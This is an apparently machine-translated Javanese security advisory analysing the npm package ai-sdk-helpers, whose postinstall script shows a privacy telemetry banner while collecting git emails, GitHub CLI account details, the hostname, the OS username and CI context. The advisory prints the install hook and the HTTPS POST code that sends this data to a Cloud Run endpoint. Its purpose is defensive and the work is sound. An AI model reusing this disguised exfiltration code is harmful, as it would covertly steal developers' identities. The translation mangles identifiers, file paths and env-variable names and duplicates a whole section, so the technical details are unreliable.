TL; DR
Paket npm tunggal, ai-sdk-helpers, nampilake awake dhewe minangka toolkit produksi kanggo Vercel AI SDK, sing nawakake pelacakan biaya, fallback panyedhiya, lan pembantu streaming.
Skrip wektu instalasi dibukak nganggo spanduk pengungkapan sing dipoles sing nggambarake diagnostik anonim, janji yen ora ana kode sumber, token, utawa kredensial sing dikirim, ngurmati a DO_NOT_TRACK milih metu, lan ngubungake menyang kaca kabijakan telemetri.
Skrip sing padha banjur maca identitas git pangembang, konfigurasi CLI GitHub, jeneng host mesin, jeneng panganggo OS, direktori kerja, lan panyedhiya CI.
Data kasebut di-POST minangka JSON menyang endpoint Google Cloud Run, sing nyebabake ketidakcocokan sing jelas antarane kabijakan telemetri sing kasebut lan kolom sing dikumpulake.
Paket iki diterbitake ing rong puluh loro versi sajrone burst 83 detik, lan skrip instalasine padha saben byte ing saben versi sing ditandhani.
Pitu saka wolung versi sing diulas dening kita pipeline ora bisa disimpulake dening pengklasifikasi ML amarga gaya spanduk idin kaya telemetri sing sah.
Kita nglasifikasikake ai-sdk-helpers minangka mbebayani adhedhasar pangumpulan identitas pangembang wektu instalasi lan eksfiltrasi.
Keruwetan: dhuwur.
Anatomi instalasi kasebut
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } sawise instalasi mlaku kanthi otomatis ing npm nginstal, sadurunge kode sing diiklanake ing paket kasebut diimpor. Skrip kasebut skrip/postinstall.js yaiku papan panggonane kabeh prilaku wektu instalasi.
Iki dibukak nganggo blok komentar lan kabar runtime sing ditulis ing register proyèk sumber terbuka sing sadar privasi:
>Nalika sampeyan nginstal ai-sdk-helpers, kita nglakokake pamriksan kompatibilitas lingkungan kanthi cepet lan nglaporake diagnostik anonim… Data kasebut anonim banget — kita ngumpulake platform sampeyan, versi Node, lan hash siji arah saka pengenal mesin sampeyan. Ora ana kode sumber, token, utawa kredensial sing dikirim.
Malah nyambungake gerbang opt-out sing bisa digunakake, kode sing bisa dieksekusi pisanan ing file kasebut:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ngiket gapura iki dhisik sing ndadekake liyane diwaca minangka kesepakatan: pangembang sing nyetel `D_ORA_DITRACAK` Nglakoni instalasi rampung kanthi meneng lan nyimpulake paket kasebut ngurmati konvensi kasebut. Opt-out sing dihormati iku nyata. Sing digatekake, kanggo saben wong sing ora nyetel, yaiku koleksi sing diterangake ing ngisor iki — dudu "platform, versi Node, lan hash siji arah" sing luwih sempit sing dijenengi kabar kasebut.
Ing ngisor gapura kasebut, skrip kasebut nglumpukake muatan sing ngluwihi katrangan kasebut.
- *Gidentitas t.* rngatasiScmIdentitas()` eads `~.gitconfig`,`~.config/git/config`,lan proyèk saiki `.iku/konfigurasi`,ngurai `[ser]` eksi, lan ngasilake sing wis dikonfigurasi commit email. Yen ora ana file konfigurasi sing ngasilake email, bakal bali menyang `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,lan `EAIL` Variabel lingkungan. Docstring ing ndhuwur fungsi mbentuk read minangka cara "kanggo mbatalake instalasi ing mesin sing diduweni dening wong sing padha (contone laptop + CI)" - tujuan sing kasebut sing mbutuhake identifier per-developer sing stabil, sing commit persediaan email.
- *Gakun tHub.* rngrampungakeGitHubIdentity()` eads `~.config/gh/hosts.yml` lan `~.config/gh/hosts.yaml` file konfigurasi sing ditulis dening GitHub CLI nalika pangembang ngotentikasi — lan regex-ngekstrak `uer:` lan `elara:` kolom. File kasebut uga nyimpen token GitHub OAuth; regex skrip nargetake jeneng panganggo lan baris email kanthi khusus lan ora njupuk token kasebut. Pratelan spanduk pengungkapan "ora ana token ... sing tau dikirim" mulane bener kanggo kolom kasebut nalika pengenal akun sekitar diwaca lan dikirim.
- *Hsidik jari st lan CI.* skrip banjur ngumpulake.jeneng host()`,`o.userInfo().jeneng panganggo`,Versi Node, platform lan arsitektur, `pproses.cwd()`,lan label panyedhiya CI dirampungake kanthi mriksa variabel lingkungan kanggo wolung panyedhiya (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, lan rong flag CI generik). Dhaptar panyedhiya diwaca minangka inventaris ing ngendi skrip diarepake bakal dieksekusi — shell interaktif lan build otomatis pipelines padha.
Kabeh iki diklompokake dadi siji `dwong-wong agnostik bject, kanthi kolom saben pangembang sing dikumpulake miturut `ientitas ey lan data host ing ngisor `rwektu lan `cteks eys, banjur diserialisasi lan dikirim:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Tanggepan kasebut dibuwang lan kabeh kesalahan bakal ilang — komentar nyathet yen "telemetri ora kena ngrusak instalasi." Jeneng host titik pungkasan ngode layanan Google Cloud Run ingtali-kulon1` wilayah.
Celah kuwi critane. Spanduk kasebut nyebutake telung kategori data — platform, versi Node, hash pengenal mesin. Payload ngirim git asli pangembang commit email, jeneng panganggo lan email GitHub, jeneng host mesin lan jeneng akun OS, jalur proyek, lan lingkungan CI. Kolom sing ngenali *prson lan akun-akun kasebut* persis kolom sing ora diisi karo pengungkapan kasebut.
README nguatake framing saka sisih liyane. Bagean "Telemetri" mbaleni klaim anonimitas lan nggandhengake tembung `D_ORA_DITRACAK` o `cnsoledonottrack.com`,kaca komunitas nyata sing ndokumentasikake konvensi opt-out — nyilih privasi sing diakoni standard supaya kabar kasebut diwaca minangka rutinitas.
timeline
Iki minangka panemuan paket tunggal kanthi riwayat publikasi sing cendhak banget lan padhet banget. Ora ana busur kampanye pirang-pirang minggu sing bisa dilacak — kabeh rentang versi didorong kanthi kecepatan mesin.
| Nalika (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Versi pisanan (0.1.0) diterbitake menyang npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Kabeh 22 versi (0.1.0 liwat 1.4.2) diterbitake ing burst otomatis 83 detik. |
| 2026-06-04 | Wolung versi ditandhani nganggo sinyal deteksi; analisis manual ngonfirmasi pangumpulan identitas wektu instalasi lan eksfiltrasi. Paket tetep aktif ing npm nalika analisis. |
Jendhela 83 detik ing 22 versi semantik dhewe minangka indikator perilaku: tangga versi (`01.0`,`01.1`,… `14.2`)nampilake lumahing proyèk sing dikelola kanthi aktif nganggo riwayat rilis, sing diprodhuksi sajrone siji skrip sing wis dieksekusi. Skrip instalasi ora owah ing undhak-undhakan kasebut — deleng ing ngisor iki.
Indikator kompromi
Muatan wektu instalasi padha ing kabeh rentang versi sing diterbitake. A `dff` f`sripts/postinstall.js` antarane versi `02.1` versi lan `14.2` ora ngasilake bedane; prilakune mung siji bekas driji sing tetep, dudu muatan sing berkembang.
Network
Jendhela 83 detik ing 22 versi semantik dhewe minangka indikator perilaku: tangga versi (`01.0`,`01.1`,… `14.2`)nampilake lumahing proyèk sing dikelola kanthi aktif nganggo riwayat rilis, sing diprodhuksi sajrone siji skrip sing wis dieksekusi. Skrip instalasi ora owah ing undhak-undhakan kasebut — deleng ing ngisor iki.
Indikator kompromi
Muatan wektu instalasi padha ing kabeh rentang versi sing diterbitake. A `dff` f`sripts/postinstall.js` antarane versi `02.1` versi lan `14.2` ora ngasilake bedane; prilakune mung siji bekas driji sing tetep, dudu muatan sing berkembang.
Network
| indikator | Role |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Titik pungkasan exfiltration nampa panjalukan HTTPS POST nganggo muatan JSON. Di-host ing Google Cloud Run ing europe-west1 Wilayah. |
Infrastruktur umpan
| indikator | Role |
|---|---|
ai-sdk.guide | Halaman utama paket lan situs langsung sing ndhukung identitas panganggit "Pandhuan AI SDK". |
ai-sdk.guide/telemetry | URL kabijakan telemetri sing dirujuk ing kabar pengungkapan wektu instalasi. |
hello@ai-sdk.guide | Email penulis sing diumumake ing package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repositori sumber sing diumumake dening paket kasebut. |
Berkas sing diwaca nalika instalasi
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` email
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `elara
Tandha-tandha prilaku
- – m`pnginstal uga ngundang skrip Node sing dibundel
- – gerbang pilihan metu (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_ORA_DITRACAK`)ditampilake minangka fitur privasi, sadurunge ngumpulake identitas
- – tbound HTTPS POST saka obyek JSON sing ngemot email git, identitas GitHub, jeneng host, jeneng panganggo OS, cwd, lan label CI
- – skrip instalasi sing padha ing tangga versi sing diterbitake kanthi cepet
Atribusi & Prilaku sing Diamati
Kita ora ngubungake apa-apa kajaba apa sing direkam metadata paket lan registri.
Pangurus rekaman npm yaiku akun `aielsimon`,karo alamat `aiel@vigilance.security`.Registri ndhaptar email kasebut minangka durung diverifikasi lan identitas kontrol sumber akun minangka durung diverifikasi. `pckage.json`,kanthi kapisah, nampilake penulis minangka "Pandhuan AI SDK `ello@ai-sdk.guide>`”karo kaca ngarep saka `a-sdk.guide` lan repositori sumber ing sangisore `gOrganisasi thub.com/ai-sdk-guide`. Domain email akun penerbitan (`vigilance.security`)lan identitas panganggit ing paket (`a-sdk.guide`)iku domain sing beda-beda.
Sang `a-sdk.guide` ite urip lan nanggapi, lan `/elemetri ath ngrampungake — identitas umpan didhukung dening anané web sing bisa digayuh tinimbang pranala mati, sing nambah kredibilitas framing paket kasebut.
**Kapabilitas sing diamati.** Nalika instalasi, paket maca identitas pangembang lan file konfigurasi akun, ndeteksi sidik jari host lan lingkungan CI, lan ngirim asil menyang titik pungkasan sing dikontrol operator, nalika nampilake kabar sing nggambarake set data sing luwih sempit lan anonim. Kita nggambarake prilaku iki; kita ora negesake motif kanggo iki. Pamaca sing ngevaluasi paket — kalebu pihak apa wae sing ngenali identitas penerbitan — kudu nimbang ketidakcocokan sing bisa diamati antarane aliran data sing kasebut lan nyata.
Dampak, tren, lan pandhuan kanggo para pembela
Sapa sing kebongkar. Sapa waé sing masang ai-sdk-helpers — langsung utawa minangka katergantungan transitif — mbukak koleksi ing mesin kasebut. Amarga pemicune yaiku sawise instalasi, kode perpustakaan sing diiklanake ora perlu diimpor supaya aliran data bisa kedadeyan; instalasi wae wis cukup. Lingkungan kanthi nilai paling dhuwur yaiku workstation pangembang kanthi identitas git sing dikonfigurasi lan GitHub CLI sing diautentikasi, lan pelari CI, ing ngendi deteksi panyedhiya CI skrip nuduhake koleksi kasebut diarepake bisa mlaku ing njero build. pipelineuga ing laptop.
Apa sing diungkapake. Dudu rahasia aplikasi ing kasus umum — muatane fokus ing identitas: pengembang commit email, jeneng akun GitHub lan email, jeneng mesin lan akun, lan jalur proyek. Kuwi prasyaratcisPeta sapa sing nginstal paket kasebut, ing mesin apa, ing repositori apa, lan ing sistem CI endi. Kanggo organisasi, sawetara cathetan kasebut sing digabungake bakal nyathet insinyur endi lan sistem sing mbangun sing narik katergantungan - migunani minangka prekursor kanggo aktivitas tindak lanjut sing luwih ditargetake, sanajan prilaku paket iki dhewe mandheg ing pangumpulan lan transmisi.
Trene: telemetri minangka panutup. Piranti pangembang sing sah pancen ngumpulake diagnostik instalasi anonim, lan konvensi kanggo nindakake kanthi hormat — kabar pambocoran, a AJA_LAKONI honor, tandha opt-out, URL kabijakan — wis kondhang. ai-sdk-helpers ngasilake kabeh papat konvensi kasebut kanthi setya lan nggunakake minangka bungkus kanggo pangumpulan identitas. Anane spanduk idin, pilihan metu sing bisa digunakake, utawa pranala kabijakan privasi dudu bukti yen paket kasebut bisa dipercaya; kontrol kasebut ora larang kanggo ditiru. Pamriksaan sing bisa dipercaya mung apa sing diwaca kode kasebut lan ing ngendi sejatine dikirim.
Kemasan iki uga nduweni efek sing bisa diukur ing triase otomatis. Ing antarane versi kita pipeline ditinjau, komentar basa prasaja skrip instalasi, jeneng kolom terstruktur, lan gerbang opt-out konvensional dinilai minangka telemetri biasa: pitu saka wolung bali ora mesthi saka classifier ML tinimbang mbebayani. Sinyal sing ngrampungake ambiguitas ora ana ing prosa — nanging ana ing file tartamtu sing dibukak skrip (~/.gitconfig, ~/.config/gh/hosts.yml) lan tujuan sing dikirim. Peninjau, otomatis utawa manungsa, sing maca pengungkapan lan mandheg ing kono bakal tekan kesimpulan sing salah; panentu kudu asale saka fakta aliran data.
Pandhuan kanggo para pembela:
- Instal nganggo skrip sing dipateni kanthi gawan — npm nginstal –ignore-scripts, utawa nyetel skrip-ora-digatekake=bener in .npmrc lan nglakokake langkah-langkah pembangunan sing wis diverifikasi kanthi eksplisit. Iki netralake sawise instalasi-koleksi sing dipicu ing kabeh papan.
- Aja nganggep kontrol opt-out minangka sinyal kepercayaan. AJA_LAKONI pamriksan utawa pranala "kebijakan telemetri" ora ngandhani apa-apa babagan data sing dikumpulake skrip nalika gerbang ora disetel.
- Wacanen pandhuan instalasi sadurunge nggunakake paket pembantu ekosistem AI. Ruang Vercel AI SDK minangka target sing cepet obah lan dipercaya; a sawise instalasi sing ndemek ~/.gitconfig or ~/.config/gh/ minangka sinyal sing jelas preduli kepiye komentar ing sakubenge ditulis.
- Monitor metune wektu mbangun. HTTPS POST metu sajrone npm nginstal, utamane kanggo titik pungkasan fungsi maya sing nembe disedhiyakake, bisa diamati ing lapisan jaringan lan minangka titik deteksi sing kuwat kanggo lingkungan CI.
- Gatèkna tangga versi sing dikompres. Paket sing riwayat semantik-versiné kabèh katon sajrone sawetara detik, kanthi skrip instalasi sing ora owah, lagi nampilake riwayat pangopènan sing diprodhuksi.





